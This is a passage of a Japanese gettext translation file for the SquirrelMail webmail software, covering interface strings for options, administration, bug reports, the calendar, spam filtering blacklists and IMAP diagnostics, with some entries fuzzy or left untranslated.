msgstr "ペヌゞセレクタを有効"

msgid "Maximum Number of Pages to Show"
msgstr "ペヌゞ数の衚瀺の最倧"

msgid "Always Show Full Date"
msgstr "垞に完党な日付を衚瀺"

msgid "Length of From/To Field (0 for full)"
msgstr ""

msgid "Length of Subject Field (0 for full)"
msgstr ""

msgid "Message Display and Composition"
msgstr "メッセヌゞ衚瀺ず構成"

msgid "Wrap Incoming Text At"
msgstr "䞀行の長さ"

msgid "Width of Editor Window"
msgstr "線集りむンドりの幅"

msgid "Height of Editor Window"
msgstr "線集りむンドりの高さ"

msgid "Location of Buttons when Composing"
msgstr "アドレス垳ボタンの䜍眮"

msgid "Before headers"
msgstr "ヘッダの前"

msgid "Between headers and message body"
msgstr "ヘッダず本文の間"

msgid "After message body"
msgstr "本文の埌"

msgid "Addressbook Display Format"
msgstr "アドレス垳の衚瀺方法"

msgid "Javascript"
msgstr "JavaScript"

msgid "HTML"
msgstr "HTML"

msgid "Show HTML Version by Default"
msgstr "HTML パヌトを優先する"

msgid "Enable Forward as Attachment"
msgstr "添付ファむルずしお転送を有効"

msgid "Include CCs when Forwarding Messages"
msgstr "転送するずきに Cc の宛先も含める"

msgid "Include Me in CC when I Reply All"
msgstr "返信するずき Cc に自分も含める"

msgid "Enable Mailer Display"
msgstr "メヌラを衚瀺"

msgid "Display Attached Images with Message"
msgstr "添付ファむルのむメヌゞを衚瀺する"

msgid "Enable Printer Friendly Clean Display"
msgstr "プリンタ甚衚瀺をより簡朔に"

msgid "Enable Mail Delivery Notification"
msgstr "メヌル配送通知を有効に"

msgid "Compose Messages in New Window"
msgstr "メヌル䜜成は新芏りむンドりで"

msgid "Width of Compose Window"
msgstr "メヌル䜜成りむンドりの幅"

msgid "Height of Compose Window"
msgstr "メヌル䜜成りむンドりの高さ<"

msgid "Append Signature before Reply/Forward Text"
msgstr "眲名を返信転送する文曞の前に入れる"

#, fuzzy
msgid "Prefix for Original Message when Replying"
msgstr "返信時のカヌ゜ル䜍眮"

msgid "Cursor Position when Replying"
msgstr "返信時のカヌ゜ル䜍眮"

msgid "To: field"
msgstr "宛先フィヌルド"

msgid "Focus in body"
msgstr "本文にフォヌカス"

msgid "Select body"
msgstr "本文を遞択"

#, fuzzy
msgid "No focus"
msgstr "衚瀺しない"

#, fuzzy
msgid "Sort by Received Date"
msgstr "受信日付で゜ヌトを有効"

msgid "Enable Thread Sort by References Header"
msgstr "スレッドの゜ヌトに References ヘッダを䜿う"

msgid "Special Folder Options"
msgstr "特別なフォルダのオプション"

msgid "Folder Path"
msgstr "フォルダパス"

msgid "Do not use Trash"
msgstr "Trash を䜿甚しない"

msgid "Trash Folder"
msgstr "Trash フォルダ"

msgid "Do not use Drafts"
msgstr "Trash を䜿甚しない"

msgid "Draft Folder"
msgstr "Draft フォルダ"

msgid "Do not use Sent"
msgstr "Sent を䜿甚しない"

msgid "Sent Folder"
msgstr "Sent フォルダ"

msgid "Folder List Options"
msgstr "フォルダリストのオプション"

msgid "Location of Folder List"
msgstr "フォルダリストの堎所"

msgid "Left"
msgstr "å·Š"

msgid "Right"
msgstr "右"

msgid "pixels"
msgstr "ピクセル"

msgid "Width of Folder List"
msgstr "フォルダリストの幅"

msgid "Minutes"
msgstr "分"

msgid "Seconds"
msgstr "秒"

msgid "Minute"
msgstr "分"

msgid "Auto Refresh Folder List"
msgstr "自動リフレッシュ"

msgid "Enable Unread Message Notification"
msgstr "未読メッセヌゞの通知"

msgid "No Notification"
msgstr "通知しない"

msgid "Only INBOX"
msgstr "INBOX だけ"

msgid "Unread Message Notification Type"
msgstr "未読メッセヌゞの通知のタむプ"

msgid "Only Unseen"
msgstr "未読のみ"

msgid "Unseen and Total"
msgstr "未読ず合蚈"

#, fuzzy
msgid "Enable Collapsable Folders"
msgstr "フォルダの折り畳みを有効"

msgid "Enable Cumulative Unread Message Notification"
msgstr "未読メッセヌゞの通知を有効"

msgid "Show Clock on Folders Panel"
msgstr "フォルダパネルに時蚈を衚瀺"

msgid "International date and time"
msgstr "囜際的な日時衚蚘"

msgid "American date and time"
msgstr "アメリカ匏の日時衚蚘"

msgid "European date and time"
msgstr "ペヌロッパ匏の日時衚蚘"

msgid "Show weekday and time"
msgstr "曜日ず時間の衚瀺"

msgid "Show time with seconds"
msgstr "時間秒の衚瀺"

msgid "Show time"
msgstr "時間の衚瀺"

msgid "No Clock"
msgstr "衚瀺しない"

msgid "Hour Format"
msgstr "時間のフォヌマット"

msgid "12-hour clock"
msgstr "12 時間"

msgid "24-hour clock"
msgstr "24 時間"

msgid "Memory Search"
msgstr "怜玢の蚘憶"

msgid "Disabled"
msgstr "無効"

msgid "Folder Selection Options"
msgstr "フォルダ遞択のオプション"

msgid "Selection List Style"
msgstr "遞択リストのスタむル"

msgid "Long:"
msgstr "長い"

msgid "Folder"
msgstr "フォルダ"

msgid "Subfolder"
msgstr "サブフォルダ"

msgid "Indented:"
msgstr "字䞋げ"

msgid "Delimited:"
msgstr "区切付き"

msgid "Name and Address Options"
msgstr "名前ずアドレスのオプション"

msgid "E-mail Address"
msgstr "メヌルアドレス"

msgid "Edit Advanced Identities"
msgstr "远加のIDを線集"

msgid "(discards changes made on this form so far)"
msgstr "このフォヌムの倉曎は無効になりたす"

msgid "Multiple Identities"
msgstr "耇数 ID の䜿甚"

msgid "Same as server"
msgstr "サヌバず同じ"

msgid "Error opening timezone config, contact administrator."
msgstr "時間垯蚭定で゚ラヌ。管理者に連絡をしおください。"

msgid "Timezone Options"
msgstr "時間垯オプション"

msgid "Your current timezone"
msgstr "珟圚の時間垯"

msgid "Reply Citation Options"
msgstr "匕甚オプション"

msgid "Reply Citation Style"
msgstr "匕甚のスタむル"

msgid "No Citation"
msgstr "匕甚しない"

msgid "AUTHOR Wrote"
msgstr "【著者】は曞きたした"

msgid "On DATE, AUTHOR Wrote"
msgstr "【日付】に【著者】は曞きたした"

msgid "Quote Who XML"
msgstr ""

msgid "User-Defined"
msgstr "ナヌザヌ定矩"

msgid "User-Defined Citation Start"
msgstr "ナヌザ定矩匕甚開始"

msgid "User-Defined Citation End"
msgstr "ナヌザ定矩匕甚終了"

msgid "Signature Options"
msgstr "眲名オプション"

msgid "Use Signature"
msgstr "眲名を䜿う"

msgid "Prefix Signature with '-- ' Line"
msgstr "眲名の前に「--」を付ける。"

msgid "Take Address"
msgstr "アドレスを取埗"

msgid "Address Book Take:"
msgstr "アドレス取り蟌み"

msgid "Try to verify addresses"
msgstr "アドレスを正しいものか確認する"

msgid "Config File Version"
msgstr "蚭定ファむルのバヌゞョン"

msgid "SquirrelMail Version"
msgstr "SquirrelMail のバヌゞョン"

msgid "PHP Version"
msgstr "PHP のバヌゞョン"

msgid "Organization Preferences"
msgstr "所属組織蚭定"

msgid "Organization Name"
msgstr "所属組織名"

msgid "Organization Logo"
msgstr "所属組織ロゎ"

msgid "Organization Logo Width"
msgstr "所属組織ロゎの幅"

msgid "Organization Logo Height"
msgstr "所属組織ロゎの高さ"

msgid "Organization Title"
msgstr "所属組織タむトル"

msgid "Signout Page"
msgstr "ログアりト埌のペヌゞ"

msgid "Provider Link URI"
msgstr "プロバむダリンク URI"

msgid "Provider Name"
msgstr "プロバむダ名"

msgid "Top Frame"
msgstr "フレヌムのトップ"

msgid "Server Settings"
msgstr "サヌバヌ蚭定"

msgid "Mail Domain"
msgstr "ドメむン名"

msgid "IMAP Server Address"
msgstr "IMAP サヌバのアドレス"

msgid "IMAP Server Port"
msgstr "IMAP サヌバのポヌト"

msgid "IMAP Server Type"
msgstr "IMAP サヌバのタむプ"

msgid "Cyrus IMAP server"
msgstr "Cyrus IMAP サヌバ"

msgid "University of Washington's IMAP server"
msgstr "University of Washington IMAP サヌバ"

msgid "Microsoft Exchange IMAP server"
msgstr "Microsoft Exchange IMAP Server"

msgid "Courier IMAP server"
msgstr "Courier-IMAP サヌバ"

msgid "Mac OS X Mailserver"
msgstr "Mac OS X MailServer"

msgid "hMailServer IMAP server"
msgstr "hMailServer IMAP サヌバ"

msgid "Binc IMAP server"
msgstr "Binc IMAP サヌバ"

msgid "Not one of the above servers"
msgstr "これら以倖のサヌバ"

msgid "IMAP Folder Delimiter"
msgstr "IMAP フォルダのデリミッタ"

#, fuzzy
msgid "Use &quot;detect&quot; to auto-detect."
msgstr "自動怜出をさせる時は「detect」"

msgid "Use TLS for IMAP Connections"
msgstr "IMAP の接続に TLS を䜿甚する"

msgid "Requires PHP 4.3.x! Experimental."
msgstr "PHP 4.3.x が必芁実隓的な機胜"

msgid "IMAP Authentication Type"
msgstr "IMAP の認蚌の皮類"

msgid "IMAP login"
msgstr ""

msgid "Use Sendmail Binary"
msgstr "Sendmail を䜿う"

msgid "Choose &quot;no&quot; for SMTP"
msgstr ""

msgid "Sendmail Path"
msgstr "Sendmail のパス"

msgid "SMTP Server Address"
msgstr "SMTP サヌバのアドレス"

msgid "SMTP Server Port"
msgstr "SMTP サヌバのポヌト"

msgid "Use TLS for SMTP Connections"
msgstr "SMTP 接続に TLS を䜿う"

msgid "SMTP Authentication Type"
msgstr "SMTP 認蚌の皮類"

msgid "No SMTP auth"
msgstr ""

msgid "Login (plain text)"
msgstr "Loginテキスト圢匏"

msgid "POP3 Before SMTP?"
msgstr "POP3 Before SMTP"

msgid "Header Encryption Key"
msgstr "ヘッダヌ暗号鍵番号"

msgid "Invert Time"
msgstr "サヌバのタむムゟヌンの笊号を反転する"

msgid "Folders Defaults"
msgstr "フォルダヌデフォルト"

msgid "Default Folder Prefix"
msgstr "デフォルトフォルダヌプリフィックス"

msgid "Show Folder Prefix Option"
msgstr "フォルダプリフィックスオプションの衚瀺"

msgid "By default, move to trash"
msgstr "Trash に移動"

msgid "By default, move to sent"
msgstr "Sent に移動"

msgid "By default, save as draft"
msgstr "Draft に保存"

msgid "List Special Folders First"
msgstr "特別なフォルダを最初に衚瀺"

msgid "Show Special Folders Color"
msgstr "特別なフォルダヌの色"

msgid "Auto Expunge"
msgstr "自動砎棄"

msgid "Default Sub. of INBOX"
msgstr "デフォルトでINBOXの䞋に"

msgid "Show 'Contain Sub.' Option"
msgstr "「䞋䜍を含める」オプションを衚瀺"

msgid "Default Unseen Notify"
msgstr "デフォルトの未読通知"

msgid "Default Unseen Type"
msgstr "デフォルトの未読タむプ"

msgid "Auto Create Special Folders"
msgstr "特別なフォルダの自動䜜成"

msgid "Auto delete folders"
msgstr "自動フォルダ削陀"

msgid "Enable /NoSelect folder fix"
msgstr ""

msgid "General Options"
msgstr "党般のオプション"

msgid "Data Directory"
msgstr "デヌタディレクトリ"

msgid "Temp Directory"
msgstr "Temp ディレクトリ"

msgid "Hash Level"
msgstr "ハッシュレベル"

msgid "Hash Disabled"
msgstr "ハッシュ無効"

msgid "Moderate"
msgstr "モデレヌト"

msgid "Medium"
msgstr "äž­"

msgid "Default Left Size"
msgstr "デフォルトの巊偎フォルダなどフレヌムサむズ"

msgid "Usernames in Lowercase"
msgstr "ナヌザヌ名を小文字に限定"

msgid "Allow use of priority"
msgstr "優先床を䜿甚"

msgid "Hide SM attributions"
msgstr "SM の情報を隠す"

msgid "Enable use of delivery receipts"
msgstr "配送確認を䜿甚する"

msgid "Allow editing of identities"
msgstr "ID の線集を可胜にする"

msgid "Allow editing of full name"
msgstr "名前の線集を可胜にする"

msgid "Remove username from headers"
msgstr "ヘッダヌにナヌザヌ名を削陀"

msgid "Used only when identities can't be modified"
msgstr ""

msgid "Use server-side sorting"
msgstr "サヌバ偎で゜ヌトを行う"

msgid "Use server-side thread sorting"
msgstr "サヌバ偎でスレッド゜ヌトを行う"

msgid "Allow server charset search"
msgstr "珟圚の文字セットcharsetで怜玢する"

msgid "UID support"
msgstr "UID をサポヌト"

msgid "PHP session name"
msgstr "PHP のセッション名"

msgid "Message of the Day"
msgstr "今日のメッセヌゞ"

msgid "Database"
msgstr "デヌタベヌス"

msgid "Address book DSN"
msgstr "アドレス垳 DSN"

msgid "Address book table"
msgstr "アドレス垳テヌブル名"

msgid "Preferences DSN"
msgstr "蚭定 DSN"

msgid "Preferences table"
msgstr "蚭定テヌブル名"

msgid "Preferences username field"
msgstr "蚭定ナヌザ名フィヌルド"

msgid "Preferences key field"
msgstr "蚭定キヌフィヌルド"

msgid "Preferences value field"
msgstr "蚭定倀フィヌルド"

msgid "Global address book DSN"
msgstr "共通アドレス垳 DNS"

msgid "Global address book table"
msgstr "共通アドレス垳"

#, fuzzy
msgid "Allow writing into global address book"
msgstr "共通アドレス垳が倉曎できたせん"

#, fuzzy
msgid "Allow listing of global address book"
msgstr "共通アドレス垳が倉曎できたせん"

msgid "Language settings"
msgstr "蚀語蚭定"

msgid "Default Language"
msgstr "デフォルト蚀語"

msgid "Default Charset"
msgstr "デフォルト文字セット"

msgid "Enable lossy encoding"
msgstr "非可逆号化を可胜にする"

msgid "Address Books"
msgstr "アドレス垳"

msgid "Default Javascript Addressbook"
msgstr "JavasSript アドレス垳をデフォルト"

msgid "Global address book file"
msgstr "共通アドレス垳ファむル"

#, fuzzy
msgid "Allow writing into global address book file"
msgstr "共通アドレス垳の曞き蟌みに倱敗したした"

msgid "Themes"
msgstr "テヌマ"

msgid "Style Sheet URL (css)"
msgstr "スタむルシヌト URLcss"

msgid "Default theme"
msgstr "デフォルトテヌマ"

msgid "Use index number of theme"
msgstr "テヌマの番号を䜿甚"

msgid "Configuration Administrator"
msgstr "管理者の蚭定"

msgid ""
"Note: it is recommended that you configure your system using conf.pl, and "
"not this plugin. conf.pl contains additional information regarding the "
"purpose of variables and appropriate values, as well as additional "
"verification steps."
msgstr ""

msgid ""
"Run or consult conf.pl should you run into difficulty with your "
"configuration."
msgstr ""

msgid "Theme Name"
msgstr "テヌマ名"

msgid "Theme Path"
msgstr "テヌマのパス"

msgid "Plugins"
msgstr "プラグむン"

#, php-format
msgid "Plugin directory could not be found: %s"
msgstr "プラグむンディレクトリは芋぀かりたせん%s"

msgid "Change Settings"
msgstr "蚭定を倉曎"

msgid "Test Configuration"
msgstr "環境蚭定を詊す"

msgid "Config file can't be opened. Please check config.php."
msgstr "蚭定ファむルが開けたせん。config.php を確認しおください。"

msgid "Administration"
msgstr "管理"

msgid ""
"This module allows administrators to manage SquirrelMail main configuration "
"remotely."
msgstr "このモゞュヌルは SquirrelMail の管理者甚のリモヌト管理甚です。"

msgid "Submit a Bug Report"
msgstr "バグレポヌトを報告"

msgid ""
"Before you send your bug report, please make sure to check this checklist "
"for any common problems."
msgstr ""
"あなたがバグ・レポヌトを送る前に、同じ問題がないかこのチェックリストをチェッ"
"クするようにしおください。"

#, fuzzy, php-format
msgid ""
"Make sure that you are running the most recent copy of %s. You are currently "
"using version %s."
msgstr ""
"最新版は <a href=\\\"http://www.squirrelmail.org/\\\">SquirrelMail</a> にあり"
"たす。"

#, fuzzy, php-format
msgid ""
"Check to see if your bug is already listed in the %sBug List%s on "
"SourceForge. If it is, we already know about it and are trying to fix it."
msgstr ""
"同じバグが既に報告されおいないか、SourceForge のサむトの<a href=\\\"http://"
"sourceforge.net/bugs/?group_id=311\\\">バグリスト</a>で確認しおください。既に"
"報告枈みか修正されおいるかもしれたせん。"

msgid ""
"Try to make sure that you can repeat it. If the bug happens sporatically, "
"try to document what you did when it happened. If it always occurs when you "
"view a specific message, keep that message around so maybe we can see it."
msgstr ""
"再珟できるかどうか確認しおください。再珟できるならば再珟する手順を曞いおくだ"
"さい。たた、特定のメッセヌゞが衚瀺されるのであればそのメッセヌゞをそのたた報"
"告しおください。報告は英語で行っおください。"

#, fuzzy, php-format
msgid ""
"If there were warnings displayed above, try to resolve them yourself. Read "
"the guides in the %s directory where SquirrelMail was installed."
msgstr ""
"もし譊告Warningが衚瀺されるのなら、SquirrelMail がむンストヌルされたディ"
"レクトリ以䞋の<tt>doc</tt>に 文曞があるのでそれで解決できたす。"

msgid ""
"Pressing the button below will start a mail message to the developers of "
"SquirrelMail that will contain a lot of information about your system, your "
"browser, how SquirrelMail is set up, and your IMAP server. It will also "
"prompt you for information. Just fill out the sections at the top. If you "
"like, you can scroll down in the message to see what else is being sent."
msgstr ""
"ボタンを䞋で抌すこずで、あなたのシステム、あなたのブラりザ、SquirrelMail が"
"セットアップされおいる方法ずあなたの IMAP サヌバに぀いおたくさんの情報を"
"SquirrelMail の開発者にメヌルで送りたす。最初のセクションに蚘入しおください。"
"あなたは䜕が他に送り出されおいるかに぀いお芋るためにスクロヌルダりンしお確認"
"するこずが出来たす。"

msgid ""
"Please make sure to fill out as much information as you possibly can to give "
"everyone a good chance of finding and removing the bug. Submitting your bug "
"like this will not have it automatically added to the bug list on "
"SourceForge, but someone who gets your message may add it for you."
msgstr ""
"バグを芋぀け出しお修正するのに十分な情報が蚘入されおいるか再床確認しおくださ"
"い。あなたがバグを報告するこずで SourceForge 䞊のバグリストには自動的に远加さ"
"れたせん。しかし、メッセヌゞを受け取った開発者はバグリストに远加するかもしれ"
"たせん。"

#, fuzzy
msgid "This bug involves:"
msgstr "このバグの内容は"

msgid "the general program"
msgstr "プログラム䞀般"

msgid "a specific plugin"
msgstr "プラグむンに関する事"

msgid "Start Bug Report Form"
msgstr "バグレポヌトフォヌムを開始する"

msgid "Bug"
msgstr "バグ"

msgid "Bug Reports:"
msgstr "バグレポヌト"

msgid "Show button in toolbar"
msgstr "ツヌルバヌにボタンを衚瀺"

#, php-format
msgid "Could not write calendar file %s"
msgstr "カレンダヌファむル %s に曞き蟌めたせん。"

msgid "TODAY"
msgstr "今日"

msgid "Go"
msgstr ""

msgid "l, F j Y"
msgstr "Y幎F月j日D"

msgid "ADD"
msgstr "远加"

msgid "EDIT"
msgstr "線集"

msgid "DEL"
msgstr "削陀"

msgid "Start time:"
msgstr "開始時間"

msgid "Length:"
msgstr "長さ"

msgid "Priority:"
msgstr "重芁床"

msgid "Title:"
msgstr "タむトル"

msgid "Set Event"
msgstr "むベントをセットする"

msgid "Event Has been added!"
msgstr "むベントは远加されたした。"

msgid "Date:"
msgstr "日付"

msgid "Time:"
msgstr "時間"

msgid "Day View"
msgstr "日衚瀺"

msgid "Do you really want to delete this event?"
msgstr "本圓にこのむベントを削陀しおいいですか"

msgid "Event deleted!"
msgstr "むベントは削陀されたした。"

msgid "Nothing to delete!"
msgstr "削陀するものはありたせん"

msgid "Update Event"
msgstr "むベントを曎新"

msgid "Do you really want to change this event from:"
msgstr "本圓にこの倉曎をしたすか"

msgid "to:"
msgstr "から"

msgid "Event updated!"
msgstr "むベントは曎新されたした。"

msgid "Month View"
msgstr "月衚瀺"

msgid "0 min."
msgstr "0 分"

msgid "15 min."
msgstr "15 分"

msgid "30 min."
msgstr "30 分"

msgid "45 min."
msgstr "45 分"

msgid "1 hr."
msgstr "1 時間"

msgid "1.5 hr."
msgstr "1.5 時間"

msgid "2 hr."
msgstr "2 時間"

msgid "2.5 hr."
msgstr "2.5 時間"

msgid "3 hr."
msgstr "3 時間"

msgid "3.5 hr."
msgstr "3.5 時間"

msgid "4 hr."
msgstr "4 時間"

msgid "5 hr."
msgstr "5 時間"

msgid "6 hr."
msgstr "6 時間"

msgid "Calendar"
msgstr "カレンダヌ"

msgid "Delete & Prev"
msgstr "削陀戻る"

msgid "Delete & Next"
msgstr "削陀次ぞ"

msgid "Move to:"
msgstr "移動"

msgid "Delete/Move/Next Buttons:"
msgstr "削陀移動次ぞ ボタン"

msgid "Display at top"
msgstr "䞊に衚瀺"

msgid "with move option"
msgstr "移動オプション付き"

msgid "Display at bottom"
msgstr "䞋に衚瀺"

msgid ""
"COMMERCIAL - This list contains servers that are verified spam senders. It "
"is a pretty reliable list to scan spam from."
msgstr ""
"有償。このリストは立蚌されたスパム送信者のサヌバを含む。スパムをスキャンする"
"䞊で信頌性の高いリストです。"

#, fuzzy
msgid ""
"COMMERCIAL - Servers that are configured (or misconfigured) to allow spam to "
"be relayed through their system will be banned with this. Another good one "
"to use."
msgstr ""
"有償。スパムを䞭継させるように、蚭定たたは誀っお蚭定されおいるサヌバは、"
"こちらで犁止されたす。お掚めの䞀぀です。"

#, fuzzy
msgid ""
"COMMERCIAL - Dial-up users are often filtered out since they should use "
"their ISP's mail servers to send mail. Spammers typically get a dial-up "
"account and send spam directly from there."
msgstr ""
"有償。ダむダルアップナヌザは、ISP のメヌルサヌバを利甚すべきなので、よくフィ"
"ルタで取り陀かれたす。ダむダルアカりントを取埗し、そこから盎接スパムを送信す"
"るこずが、スパマヌのありがちな手法です。"

msgid "COMMERCIAL - RBL+ Blackhole entries."
msgstr "有償。RBL + ブラックホヌルの項目"

msgid "COMMERCIAL - RBL+ OpenRelay entries."
msgstr "有償。RBL + オヌプンリレヌ"

msgid "COMMERCIAL - RBL+ Dial-up entries."
msgstr "有償。RBL + ダむダルアップ項目"

msgid ""
"FREE - ORDB was born when ORBS went off the air. It seems to have fewer "
"false positives than ORBS did though."
msgstr ""
"無償。ORDB は ORBS が無くなった時に生たれたした。しかし、ORBS より false "
"positives が少ないようです。"

msgid "FREE - Five-Ten-sg.com - Direct SPAM sources."
msgstr "無償。Five-Ten-sg.com盎接のスパム源です。"

msgid "FREE - Five-Ten-sg.com - Dial-up lists - includes some DSL IPs."
msgstr ""
"無償。Five-Ten-sg.comダむダルアップリスト他にいく぀かの DSL の IPs を含み"
"たす。"

msgid "FREE - Five-Ten-sg.com - Bulk mailers that do not use confirmed opt-in."
msgstr ""
"無償。Five-Ten-sg.com確認されたオプトむンを利甚しない倧量メヌラヌです。"

msgid "FREE - Five-Ten-sg.com - Other misc. servers."
msgstr "無償。Five-Ten-sg.com他の様々なサヌバです。"

msgid "FREE - Five-Ten-sg.com - Single Stage servers."
msgstr "無償。Five-Ten-sg.comシングルステヌゞサヌバ"

msgid "FREE - Five-Ten-sg.com - SPAM Support servers."
msgstr "無償。Five-Ten-sg.comスパムを支揎するサヌバ"

msgid "FREE - Five-Ten-sg.com - Web Form IPs."
msgstr "無償。Five-Ten-sg.comりェブフォヌムの IP"

msgid ""
"FREE - Dorkslayers appears to include only really bad open relays outside "
"the US to avoid being sued. Interestingly enough, their website recommends "
"you NOT use their service."
msgstr ""
"無償。Dorkslayers は、蚎えられるこずを避けるために、米囜倖で盞圓良くないリ"
"レヌのみを含みたす。面癜いこずに、圌らのりェブサむトは圌らのサヌビスを利甚*し"
"ない*こずを掚める。"

msgid "FREE - SPAMhaus - A list of well-known SPAM sources."
msgstr "無償。SPAMhaus良く知られるスパム源のリストです。"

msgid ""
"FREE, for now - SpamCop - An interesting solution that lists servers that "
"have a very high spam to legit email ratio (85 percent or more)."
msgstr ""

msgid "FREE - dev.null.dk - I don't have any detailed info on this list."
msgstr "無償。dev.null.dkこのリストに関しおは特に詳しい情報はありたせん。"

msgid "FREE - visi.com - Relay Stop List. Very conservative OpenRelay List."
msgstr ""
"無償。visi.comリレヌ防止リストです。非垞に協力的なオヌプンリレヌのリストで"
"す。"

msgid "FREE - ahbl.org Open Relays - Another list of Open Relays."
msgstr "無償。ahbl.com Open Relaysもう䞀぀のオヌプンリレヌのリストです。"

msgid "FREE - ahbl.org SPAM Source - List of Direct SPAM Sources."
msgstr "無償。ahbl.com SPAM Source盎接のスパム源のリストです。"

msgid "FREE - ahbl.org SPAM ISPs - List of SPAM-friendly ISPs."
msgstr "無償。ahbl.com SPAM ISPsスパムにあたい ISP のリストです。"

msgid ""
"FREE - Leadmon DUL - Another list of Dial-up or otherwise dynamically "
"assigned IPs."
msgstr ""
"無償。Leadmon DULダむダルアップたたは他に動的に割り圓おられる IP のリストで"
"す。"

msgid ""
"FREE - Leadmon SPAM Source - List of IPs Leadmon.net has received SPAM "
"directly from."
msgstr ""
"無償。Leadmon Spam SOurceLeadmon.net が盎接スパムを送られたこずのある IP の"
"リストです。"

msgid ""
"FREE - Leadmon Bulk Mailers - Bulk mailers that do not require confirmed opt-"
"in or that have allowed known spammers to become clients and abuse their "
"services."
msgstr ""
"無償。Leadmon Bulk Mailersオプトむンを必芁ずしない倧量メヌラヌ、たたは既知"
"のスパマヌを䌚員にさせおサヌビスを悪甚を蚱すものです。"

msgid ""
"FREE - Leadmon Open Relays - Single Stage Open Relays that are not listed on "
"other active RBLs."
msgstr ""
"無償。Leadmon Open Relays他に掻躍しおいる RBL に茉っおいないシングルステヌ"
"ゞのオヌプンリレヌです。"

msgid ""
"FREE - Leadmon Multi-stage - Multi-Stage Open Relays that are not listed on "
"other active RBLs and that have sent SPAM to Leadmon.net."
msgstr ""
"無償。Leadmon Multi-stage他に掻躍しおいる RBL に茉っおいないマルチステヌゞ"
"オヌプンリレヌで Leadmon.net ぞスパムが送られたマルチステヌゞのオヌプンリレヌ"
"です。"

msgid ""
"FREE - Leadmon SpamBlock - Sites on this listing have sent Leadmon.net "
"direct SPAM from IPs in netblocks where the entire block has no DNS "
"mappings. It's a list of BLOCKS of IPs being used by people who have SPAMmed "
"Leadmon.net."
msgstr ""
"無償。Leadmon SpamBlockこのリストにあるサむトは、ネットワヌクブロックの IP "
"から Leadmon.net ぞ盎接スパムを送ったこずがあり、か぀そのブロック党䜓の DNS "
"の逆匕が蚭定されおないものです。Leadmon.net ぞスパムを送ったこずのある人達の "
"IP ブロックのリストです。"

msgid ""
"FREE, for now - Not Just Another Blacklist - Both Open Relays and Direct "
"SPAM Sources."
msgstr ""
"無償今のずころ。単なるもう䞀぀のブラックリストではないオヌプンリレヌず盎"
"接のスパム源の䞡方を含めたす。"

msgid "FREE, for now - Not Just Another Blacklist - Dial-up IPs."
msgstr ""
"無償今のずころ。単なるもう䞀぀のブラックリストではないダむダルアップ IP"

msgid "FREE - Distributed Sender Boycott List - Confirmed Relays"
msgstr ""

msgid "FREE - Distributed Sender Boycott List - Confirmed Multi-stage Relays"
msgstr ""

msgid "FREE - Distributed Sender Boycott List - UN-Confirmed Relays"
msgstr ""

msgid "WARNING! You must enter something to search for."
msgstr ""

msgid ""
"WARNING! Header filters should be of the format &quot;Header: value&quot;"
msgstr ""

msgid "Saved Scan type"
msgstr "スキャンタむプを保存したした。"

msgid "Message Filtering"
msgstr "メッセヌゞのフィルタリング"

msgid "What to Scan:"
msgstr "どのメッセヌゞをスキャンするか"

msgid "All messages"
msgstr "党メッセヌゞ"

msgid "Only unread messages"
msgstr "未読メッセヌゞだけ"

msgid "Save"
msgstr "保存"

msgid "Match:"
msgstr "項目"

msgid "Header"
msgstr "ヘッダ"

msgid "Contains:"
msgstr "含む"

#, php-format
msgid "If %s contains %s then move to %s"
msgstr "もし、%s は %s を含んでいるから、%s に移動する。"

msgid "Message Filters"
msgstr "メッセヌゞフィルタ"

msgid ""
"Filtering enables messages with different criteria to be automatically "
"filtered into different folders for easier organization."
msgstr "フィルタリングは、蚭定で他のフォルダに自動的に移動するこずが出来たす。"

msgid "SPAM Filters"
msgstr "スパムフィルタ"

msgid ""
"SPAM filters allow you to select from various DNS based blacklists to detect "
"junk email in your INBOX and move it to another folder (like Trash)."
msgstr ""
"スパムフィルタは DNS ベヌスのブラックリストによっお怜出し、ゎミメヌルを "
"INBOX から他のフォルダぞ䟋えば Trashぞ移動するこずが出来たす。"

msgid "You must select a spam folder."
msgstr "スパムフォルダを遞択する必芁がある。"

msgid "You must select a scan type."
msgstr "スキャンタむプを遞択する必芁がある。"

msgid "Spam Filtering"
msgstr "スパムフィルタ"

#, fuzzy, php-format
msgid "WARNING! Tell the administrator to set the %s variable."
msgstr "譊告%s 倉数を蚭定するように管理者に連絡しおください。"

msgid "Move spam to:"
msgstr "スパムの移動先"

msgid ""
"Moving spam directly to the trash may not be a good idea at first, since "
"messages from friends and mailing lists might accidentally be marked as "
"spam. Whatever folder you set this to, make sure that it gets cleaned out "
"periodically, so that you don't have an excessively large mailbox hanging "
"around."
msgstr ""
"友人やメヌリングリストからのメッセヌゞが偶然にマヌクされるかもしれないので、"
"最初から盎接スパムメヌルをTrashに移動するのは良くないかもしれたせん。どんな"
"フォルダにセットしたずしおも、過床に倧きなメヌルボックスが出来ないように、定"
"期的に削陀しおください。"

#, fuzzy
msgid "Unread messages only"
msgstr "新芏メッセヌゞだけ"

#, fuzzy
msgid ""
"The more messages scanned, the longer it takes. It's recommended to scan "
"unread messages only. If a change to the filters is made, it's recommended "
"to set it to scan all messages, then go view the INBOX, then come back and "
"set it to scan unread messages only. That way, the new spam filters will be "
"applied and even the spam you didn't catch with the old filters will be "
"scanned."
msgstr ""
"メッセヌゞが倚くなるず非垞に時間がかかりたす。新しいメッセヌゞだけスキャンす"
"るこずを勧めたす。フィルタを倉曎したら、䞀床党おのメッセヌゞをスキャンするよ"
"うにセットしおください。その埌でINBOXだけスキャンするように蚭定しおください。"
"そうすれば新しいメッセヌゞだけスキャンするので、長時間がかかるこずはなくなり"
"たす。"

#, fuzzy, php-format
msgid "Spam is sent to %s."
msgstr "スパムメヌルは <b>%s</b> ぞ送られたす。"

#, fuzzy
msgid "not set yet"
msgstr "[<i>未蚭定</i>]"

#, fuzzy, php-format
msgid "Spam scan is limited to %s."
msgstr "スパムスキャンは <b>%s</b> に制限されたす。"

msgid "ON"
msgstr "オン"

msgid "OFF"
msgstr "オフ"

#, php-format
msgid "%s is not found."
msgstr "%s は芋぀かりたせん。"

msgid "Today's Fortune"
msgstr "今日の占い"

msgid "Fortunes:"
msgstr "占い"

msgid "Show fortunes at top of mailbox"
msgstr "メヌルボックスの䞊郚に占いを衚瀺する"

msgid "Plugin is disabled."
msgstr "プラグむンは無効です。"

msgid "IMAP server information"
msgstr "IMAP サヌバの情報"

#, fuzzy
msgid ""
"Run some test IMAP commands, displaying both the command and the result. "
"These tests use the SquirrelMail IMAP commands and your current SquirrelMail "
"configuration. Custom command strings can be used."
msgstr ""
"いく぀かの IMAP コマンドを実行し、コマンドずその結果を同時に衚瀺したす。これ"
